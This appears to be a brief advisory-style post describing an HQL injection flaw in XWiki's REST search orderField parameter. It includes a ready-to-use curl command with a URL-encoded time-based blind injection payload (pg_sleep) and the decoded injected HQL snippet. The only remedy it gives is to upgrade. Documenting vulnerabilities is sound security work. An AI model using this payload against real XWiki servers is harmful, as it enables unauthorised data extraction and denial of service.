Listen to this Post
The vulnerability exists in the REST search endpoint’s `orderField` parameter, which is inserted directly into an HQL query without proper sanitization. The attacker-supplied value is used in two places within the generated query: once in the SELECT field list and once in the ORDER BY clause. This dual insertion complicates exploitation. An attacker can craft a malicious `orderField` value that uses single quotes to comment out the intervening parts of the original query, effectively splicing their own HQL code into the final statement. The provided payload demonstrates this by injecting a conditional sleep command (pg_sleep(1)), which can be used for blind data extraction. The exploit string carefully balances the SQL syntax to create a valid, malicious query from the two injected fragments, allowing for potential database manipulation, data exfiltration, or denial of service.
Platform: XWiki
Version: <16.10.9
Vulnerability: HQL Injection
Severity: Critical
date: 2024
Prediction: 2024-12-15
What Undercode Say:
curl "http://localhost:8080/xwiki/rest/wikis/xwiki/search?q=test&scope=&orderField=doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D%27%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment%27%20or%20a%3D%27%20order%20by%20doc.fullName"
-- Injected HQL snippet doc.fullName from XWikiDocument as doc where $$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=' order by doc.fullName
How Exploit:
Malicious orderField parameter injection.
Protection from this CVE:
Upgrade XWiki version.
Impact:
Data exfiltration, Denial-of-service.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
